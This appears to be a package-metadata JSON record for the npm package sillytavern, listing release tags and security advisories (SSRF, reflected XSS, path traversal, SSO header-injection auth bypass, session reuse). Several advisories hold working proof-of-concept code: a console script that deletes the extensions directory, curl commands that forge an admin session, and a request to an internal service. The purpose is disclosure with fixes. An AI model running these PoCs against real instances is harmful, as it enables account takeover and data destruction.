:"pkg:github/SillyTavern/SillyTavern@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"f9a6cfc8065b112014bf7eea15fee79b52604ab8","kind":"commit","published_at":"2023-03-29T19:14:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0/manifests"},{"name":"1.1.1","sha":"100e572aaee00d379d77846d8efd2180b97e4865","kind":"commit","published_at":"2023-03-22T22:12:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"68452e6c08cb28aa194a4ca8d1d5e67d7a310fea","kind":"commit","published_at":"2023-03-20T16:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0/manifests"},{"name":"1.0.5","sha":"c617b7e7d5cc94874342874fd99a932a1329b5a8","kind":"commit","published_at":"2023-03-16T08:46:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5/manifests"},{"name":"1.0.4","sha":"c1699b4193dc7862ade0fa43bfbb86df9058c4f3","kind":"commit","published_at":"2023-03-14T14:24:24.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4/manifests"},{"name":"1.0.3","sha":"abe5aa7cc0d53862cda4f55da5065bed5ce3671c","kind":"commit","published_at":"2023-03-12T20:40:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"93d9af931a0852bf223ebbc63fde144f589a4189","kind":"commit","published_at":"2023-03-12T19:48:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"2f76bbb7d6f5fd9a3977c8c9a2258d57ddba94e9","kind":"commit","published_at":"2023-03-12T19:42:14.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"74647ab270b1c2068c5a04b5a887729b4b96139b","kind":"commit","published_at":"2023-03-12T14:01:29.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-25T05:23:08.330Z","dependent_packages_count":0,"downloads":2120,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":18.80830438695129,"dependent_packages_count":26.73477688137774,"stargazers_count":null,"forks_count":null,"average":22.771540634164516},"purl":"pkg:npm/sillytavern","advisories":[{"uuid":"GSA_kwCzR0hTQS1xZzg5LXF3d2gtNWYzas4ABXHx","url":"https://github.com/advisories/GHSA-qg89-qwwh-5f3j","title":"SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl","description":"## Resolution\n\nSillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.\n\nDocumentation: \n\n- https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting\n- https://docs.sillytavern.app/administration/#security-checklist\n\n## Note on future SSRF findings\n\nSince the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.\n\n## Summary\nSillyTavern 1.17.0 exposes `/api/search/searxng`, which accepts attacker-controlled `baseUrl` and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point `baseUrl` at an internal or loopback HTTP service and receive the `/search` response body.\n\nConfirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer.\n\n## Details\nThe `/api/search/searxng` route in `src/endpoints/search.js` reads `baseUrl` from `request.body` and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests.\n\nCore vulnerable path:\n\n```js\nrouter.post('/searxng', async (request, response) =\u003e {\n    const { baseUrl, query, preferences, categories } = request.body;\n    if (!baseUrl || !query) {\n        return response.status(400).send('Missing required parameters');\n    }\n\n    const mainPageUrl = new URL(baseUrl);\n    const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders });\n    ...\n    const searchUrl = new URL('/search', baseUrl);\n    const searchParams = new URLSearchParams();\n    searchParams.append('q', query);\n    ...\n    const searchResult = await fetch(searchUrl, { headers: visitHeaders });\n    ...\n    const data = await searchResult.text();\n    return response.send(data);\n});\n```\n\n`src/server-startup.js` mounts this router at `/api/search`, and `src/server-main.js` applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side `fetch()` to attacker-selected hosts.\n\n## PoC\nAttacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled.\n\nStart an internal mock service on the target host:\n\n```js\nimport http from 'node:http';\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === '/') {\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    return res.end('\u003chtml\u003e\u003chead\u003e\u003clink href=\"/client.css\" rel=\"stylesheet\"\u003e\u003c/head\u003e\u003c/html\u003e');\n  }\n  if (req.url === '/client.css') {\n    res.writeHead(200, { 'Content-Type': 'text/css' });\n    return res.end('body{}');\n  }\n  if (req.url.startsWith('/search?q=')) {\n    res.writeHead(200, { 'Content-Type': 'text/plain' });\n    return res.end('INTERNAL-SEARCH-RESULT');\n  }\n  res.writeHead(404);\n  res.end('not found');\n}).listen(9091, '127.0.0.1');\n```\n\nThen send:\n\n```http\nPOST /api/search/searxng HTTP/1.1\nHost: TARGET:8000\nCookie: session-...=...\nX-CSRF-Token: \u003ctoken from /csrf-token\u003e\nContent-Type: application/json\n\n{\"baseUrl\":\"http://127.0.0.1:9091/\",\"query\":\"x\"}\n```\n\nResult based on the route logic: SillyTavern first fetches `http://127.0.0.1:9091/`, then fetches `http://127.0.0.1:9091/search?q=x`, and returns `INTERNAL-SEARCH-RESULT` to the attacker.\n\n## Impact\nThis is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T20:09:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j","https://nvd.nist.gov/vuln/detail/CVE-2026-46372","https://github.com/advisories/GHSA-qg89-qwwh-5f3j"],"source_kind":"github","identifiers":["GHSA-qg89-qwwh-5f3j","CVE-2026-46372"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T21:00:18.819Z","updated_at":"2026-10-22T15:03:42.585Z","epss_percentage":0.01007,"epss_percentile":0.6265,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzg5LXF3d2gtNWYzas4ABXHx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZzg5LXF3d2gtNWYzas4ABXHx","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzg5LXF3d2gtNWYzas4ABXHx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jY2ZxLTI0NTQtZjV4d84ABWxt","url":"https://github.com/advisories/GHSA-ccfq-2454-f5xw","title":"SillyTavern has a SSRF vulnerability in the CORS proxy middleware","description":"## Resolution\n\nSillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.\n\nDocumentation: \n\n- https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting\n- https://docs.sillytavern.app/administration/#security-checklist\n\n## Note on future SSRF findings\n\nSince the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.\n\n## Overview\n- Vulnerability Type: SSRF\n- Affected Location: `src/middleware/corsProxy.js:31`\n- Trigger Scenario: SSRF in optional CORS proxy\n\n## Root Cause\n`corsProxyMiddleware` forwards `req.params.url` directly into `fetch(url, ...)`. It only blocks circular requests to its own host and does not enforce destination allowlist or private/loopback restrictions, enabling SSRF.\n\n## Source-to-Sink Chain\n1. Source (user-controlled input)\n- Entry point: `GET /proxy/:url(*)`\n\n2. Data flow\n- Code analysis shows concrete propagation into this sink:\n  - vulnerability title: `SSRF in optional CORS proxy`\n  - sink location reached by attacker-controlled input: `src/middleware/corsProxy.js:31`\n- The same sink behavior is confirmed by controlled execution observations.\n\n3. Sink (dangerous operation)\n- Sink location: `src/middleware/corsProxy.js:31`\n- Vulnerable behavior: SSRF in optional CORS proxy\n\n## Exploitation Preconditions\n1. The attacker can control or influence a URL/endpoint parameter.\n2. The server can access internal or sensitive network targets.\n3. Outbound request validation or redirect controls are insufficient.\n\n## Risk\nThis issue can be used to pivot network access and reach unintended internal resources.\n\n## Impact\nAn attacker may access internal network services or metadata endpoints and exfiltrate sensitive responses.\n\n## Remediation\n1. Enforce strict destination allowlist for proxy targets.\n2. Block loopback, link-local, RFC1918, and metadata address ranges.\n3. Apply the same destination validation to redirects.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-12T22:24:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-ccfq-2454-f5xw","https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44652","https://github.com/advisories/GHSA-ccfq-2454-f5xw"],"source_kind":"github","identifiers":["GHSA-ccfq-2454-f5xw","CVE-2026-44652"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-22T15:03:54.458Z","epss_percentage":0.00406,"epss_percentile":0.33648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2ZxLTI0NTQtZjV4d84ABWxt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jY2ZxLTI0NTQtZjV4d84ABWxt","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2ZxLTI0NTQtZjV4d84ABWxt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14YzR4LTI0NTItNWdjOc4ABWxs","url":"https://github.com/advisories/GHSA-xc4x-2452-5gc9","title":"SillyTavern has a reflected XSS vulnerability in the CORS proxy middleware","description":"## Resolution\n\nFixed in SillyTavern 1.18.0: a user-provided URL is no longer reflected in the HTTP response body.\n\n## Overview\n- Vulnerability Type: XSS\n- Affected Location: `src/middleware/corsProxy.js:40`\n- Trigger Scenario: reflected XSS in CORS proxy error response\n\n## Root Cause\nWhen `fetch(url)` throws, the code sends:\n`res.status(500).send('Error occurred while trying to proxy to: ' + url + ' ' + error)`.\nThe `url` value is attacker-controlled (`req.params.url`) and is not HTML-escaped before rendering.\n\n## Source-to-Sink Chain\n1. Source (user-controlled input)\n- Entry point: `GET /proxy/:url(*)`\n\n2. Data flow\n- Code analysis shows concrete propagation into this sink:\n  - vulnerability title: `Reflected XSS in CORS proxy error response`\n  - sink location reached by attacker-controlled input: `src/middleware/corsProxy.js:40`\n- The same sink behavior is confirmed by controlled execution observations.\n\n3. Sink (dangerous operation)\n- Sink location: `src/middleware/corsProxy.js:40`\n- Vulnerable behavior: reflected XSS in CORS proxy error response\n\n## Exploitation Preconditions\n1. The attacker can inject controllable content into a rendered response.\n2. The vulnerable rendering context does not apply strict output encoding/sanitization.\n3. A victim user opens the affected page or response.\n\n## Risk\nThis issue enables script execution in the victim context and can compromise session or data integrity.\n\n## Impact\nAn attacker may run arbitrary JavaScript in the victim context, steal tokens, and manipulate user-visible behavior.\n\n## Remediation\n1. Never concatenate raw user input into HTML error responses.\n2. If URL echo is required, HTML-escape it or force plain-text output.\n3. Re-enable/strengthen CSP to reduce reflected injection impact.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-12T22:23:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xc4x-2452-5gc9","https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44651","https://github.com/advisories/GHSA-xc4x-2452-5gc9"],"source_kind":"github","identifiers":["GHSA-xc4x-2452-5gc9","CVE-2026-44651"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-24T21:03:16.463Z","epss_percentage":0.00444,"epss_percentile":0.37552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14YzR4LTI0NTItNWdjOc4ABWxs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14YzR4LTI0NTItNWdjOc4ABWxs","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14YzR4LTI0NTItNWdjOc4ABWxs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04ODZxLWY0NGotaDZ3aM4ABWxr","url":"https://github.com/advisories/GHSA-886q-f44j-h6wh","title":"SillyTavern has a Path Traversal issue","description":"## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy — passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send('Bad Request');\n}\n\n// [2] sanitize(\".\")  →  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  ← basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch('/csrf-token')).json();\n    const headers = {\n        'Content-Type': 'application/json',\n        'X-CSRF-Token': token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('Before:', before.filter(e =\u003e e.type === 'local'));\n    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]\n\n    // Attack\n    const res = await fetch('/api/extensions/delete', {\n        method: 'POST',\n        headers,\n        body: JSON.stringify({ extensionName: '.' }),\n    });\n    console.log('Status:', res.status);      // 200\n    console.log('Body:', await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('After:', after.filter(e =\u003e e.type === 'local'));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: 'local', name: 'third-party/Extension-Notebook' }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send('Bad Request: Invalid extension name.');\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send('Bad Request: Invalid extension path.');\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-12T22:23:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh","https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","https://github.com/advisories/GHSA-886q-f44j-h6wh"],"source_kind":"github","identifiers":["GHSA-886q-f44j-h6wh","CVE-2026-44650"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-12T12:04:33.312Z","epss_percentage":0.00835,"epss_percentile":0.56524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ODZxLWY0NGotaDZ3aM4ABWxr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ODZxLWY0NGotaDZ3aM4ABWxr","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ODZxLWY0NGotaDZ3aM4ABWxr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neHg2LWgzZzYtdndqaM4ABWxq","url":"https://github.com/advisories/GHSA-gxx6-h3g6-vwjh","title":"SillyTavern has Authentication Bypass via SSO Header Injection","description":"## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = 'Remote-User') {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user \u0026\u0026 user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express's wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use('/api/users', usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post('/list', async (_request, response) =\u003e {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d '{}'\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d '{}'\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-12T22:23:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh","https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44649","https://github.com/advisories/GHSA-gxx6-h3g6-vwjh"],"source_kind":"github","identifiers":["GHSA-gxx6-h3g6-vwjh","CVE-2026-44649"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-16T06:03:31.723Z","epss_percentage":0.00295,"epss_percentile":0.20567,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neHg2LWgzZzYtdndqaM4ABWxq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neHg2LWgzZzYtdndqaM4ABWxq","packages":[{"ecosystem":"npm","package_name":"sillytavern","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c= 1.17.0"}],"purl":"pkg:npm/sillytavern"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neHg2LWgzZzYtdndqaM4ABWxq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13bW0zLWg5cWotcDV2Ns4ABWxp","url":"https://github.com/advisories/GHSA-wmm3-h9qj-p5v6","title":"SillyTavern: Existing sessions are not invalidated after password change, allowing session reuse and account takeover","description":"### Summary\nChanging a user’s password does not invalidate existing sessions, allowing an attacker with a stolen cookie to retain access even after the victim resets their password.\n\n### Details\nSillyTavern relies on cookie-session for authentication, storing all session data (user handle, permissions) in a signed cookie. The endpoints POST /api/users/change-password and POST /api/users/recover-step2 only update the password hash in the database but do not expire current sessions. Because the session is stateless and stored entirely in the client cookie, there is no server-side mechanism to revoke a token once issued.\n\n### PoC\n1.Log into the same SillyTavern account from two different browsers (e.g., Chrome and Firefox private mode).\n2.In Chrome, change the account password under User Settings → Change Password.\n3.In Firefox, refresh the page or perform a protected action (e.g., view API keys).\n4.Expected: Firefox session should be invalidated and ask for login.\n5.Actual: Firefox remains fully authenticated, able to perform all actions as the targeted user.\n\n### Impact\nAn attacker who obtains a valid session cookie (via XSS, MITM, physical access, etc.) can continue using it indefinitely, even after the legitimate user changes their password.\nThis nullifies the most common recovery measure against session theft.\nThe default cookie lifespan is 400 days, giving an attacker a very long exploitation window.\n\n### Resolution\nA fix was released in the version 1.18.0, invalidating a session cookie on 